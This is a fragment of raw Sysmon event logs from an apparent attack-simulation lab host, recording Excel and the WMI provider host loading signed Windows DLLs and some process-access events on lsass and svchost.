14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000048730Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048729Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000048728Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000048727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000048726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000048725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000048724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000048723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000048722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000048721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000048720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000048719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000048718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ntmarta.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT MARTA providerMicrosoft® Windows® Operating SystemMicrosoft Corporationntmarta.dllMD5=854A3CAE7C97B630158C9F7EE8555970,SHA256=20F0A4D99C5095A0CAC39B816BFC987F64CD051843C79E027714666375986176,IMPHASH=98050D95AE15C8382F287539F2BF65FAtrueMicrosoft WindowsValid 734700x800000000000000048717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ncobjapi.dll10.0.14393.0 (rs1_release.160715-1616)-Microsoft® Windows® Operating SystemMicrosoft CorporationNCObjAPI.DLLMD5=EA51AB4DE69030FC62B5014175D27A88,SHA256=774A8136F6FC789952548DA2A72F2E53E32A33E91C48EA707C1D823058515DAB,IMPHASH=8BFED2C4A0A233671E2426106589658DtrueMicrosoft WindowsValid 734700x800000000000000048716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 734700x800000000000000048715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000048714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Windows.UI.Immersive.dll10.0.14393.4583 (rs1_release.210730-1850)WINDOWS.UI.IMMERSIVEMicrosoft® Windows® Operating SystemMicrosoft CorporationWINDOWS.UI.IMMERSIVE.dllMD5=C3ABC6F71036CD4F4FD947774D2B12F0,SHA256=F747F8236190DD21A19554C97D8C027C6A5EC080EF327CCD6E8359E1B164E32E,IMPHASH=25972C93FD9DD68BCECCC65E6E7D1673trueMicrosoft WindowsValid 734700x800000000000000048713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\webio.dll10.0.14393.3866 (rs1_release.200805-1327)Web Transfer Protocols APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwebio.dllMD5=0CE65DF03820B5523EFE7D20258E6F0A,SHA256=9224732E1A7761866BB479C91A02C561F77B203EB20914F4ED0AF8FE320E8FF6,IMPHASH=72061958A1119B16F6B4694A68C7F8CBtrueMicrosoft WindowsValid 734700x800000000000000048712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000048711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000048710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\WmiPrvSE.exe10.0.14393.2155 (rs1_release_1.180305-1842)WMI Provider HostMicrosoft® Windows® Operating SystemMicrosoft CorporationWmiprvse.exeMD5=E1BCE838CD2695999AB34215BF94B501,SHA256=1D7B11C9DEDDAD4F77E5B7F01DDDDA04F3747E512E0AA23D39E4226854D26CA2,IMPHASH=20C3512CFF09FABFB994B8B9DBF73B4FtrueMicrosoft WindowsValid 10341000x800000000000000048708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000048707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.555{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\urlmon.dll11.00.14393.4530 (rs1_release.210705-0736)OLE32 Extensions for Win32Internet ExplorerMicrosoft CorporationUrlMon.dllMD5=B63DBDFEC215CF37259DC4A88ADBD0E7,SHA256=67B02F3DE0AF36E76C2D259CE7833EDA4FE33D935538E8A4C1E7E82130870FC1,IMPHASH=D30D879B129DBE4925A85E9DD136188BtrueMicrosoft WindowsValid 10341000x800000000000000048705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dhcpcsvc.dll10.0.14393.3930 (rs1_release.200901-1914)DHCP Client ServiceMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc.dllMD5=CD3B9633BBEF2102C4665A2C39EC0B1A,SHA256=341EFB4806BE39E09AA90CA3B069C39F2A9D61FA9B512350B2721D41875AFCAE,IMPHASH=9A2F821D250C4CEBC0627590331B869DtrueMicrosoft WindowsValid 734700x800000000000000048701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.602{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dhcpcsvc6.dll10.0.14393.3930 (rs1_release.200901-1914)DHCPv6 ClientMicrosoft® Windows® Operating SystemMicrosoft Corporationdhcpcsvc6.dllMD5=1721EAC44BCFC7177AA664ADCA514F23,SHA256=C099BCCE44A04A48147DE8CF093EBF997510154113789BF31394B5148F60B375,IMPHASH=1278B10B4CD792CEC37AF93D76A387ECtrueMicrosoft WindowsValid 23542300x800000000000000048700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=60E523DF066968D5C4EEE19439F53B18,SHA256=F8B9BBFD6402A06C2758372A33E62E5B02775894E41F68647FFBE9EB164D5E41,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\winnsi.dll10.0.14393.2339 (rs1_release_inmarket.180611-1502)Network Store Information RPC interfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationwinnsi.dllMD5=25B3BD4D63460EE4599F5631C1B83D21,SHA256=07E055D47940F09CB7EB512D52672C944D7D2F035A2F45766319871C0862C5B1,IMPHASH=77951C1B66390D48C5FC7B47D7C8668AtrueMicrosoft WindowsValid 734700x800000000000000048698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wbem\fastprox.dll10.0.14393.0 (rs1_release.160715-1616)WMI Custom MarshallerMicrosoft® Windows® Operating SystemMicrosoft Corporationfastprox.dllMD5=C2F7834269D565263C65757EDE37A66C,SHA256=17651A35255229CE95F065CA1BCCC4867B43DA879D72AFCC91FBA4768225C7D3,IMPHASH=481A52B415277FC8692C7D6D9EA3475CtrueMicrosoft WindowsValid 10341000x800000000000000048697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mswsock.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft Windows Sockets 2.0 Service ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmswsock.dllMD5=B52ACA309FD6F72105951FFBA022327B,SHA256=02AB6CCE4BF0D3F075D5E982F5A4CBDB514CE7C245EA474D7846A86CD3F13202,IMPHASH=0E9C1FA273A5EFD763FAC8E145B20C80trueMicrosoft WindowsValid 734700x800000000000000048695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000048694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.586{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 734700x800000000000000048693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\RICHED20.DLL16.0.13801.20442RichEdit Version 8.0Microsoft OfficeMicrosoft Corporationriched20.dllMD5=4AADCAFE0937BFDD2C0E089B37549CD7,SHA256=8D12811470721C2A4775AE2CF2B236C5E16FD4215D70E63C768BD9F4ADBC364A,IMPHASH=7F91D6F15B0123F79B3CFE6F19528321trueMicrosoft CorporationValid 734700x800000000000000048692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000048691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000048690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\sppc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationsppc.dllMD5=7CF84329545035CC0833119C7268A620,SHA256=49E3FA8B9F9ACB1A2CEDE37970361316C93286CEE7F70DE5985E7135498A4210,IMPHASH=BC4A2B9355432144727A5322381AB386trueMicrosoft WindowsValid 734700x800000000000000048689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 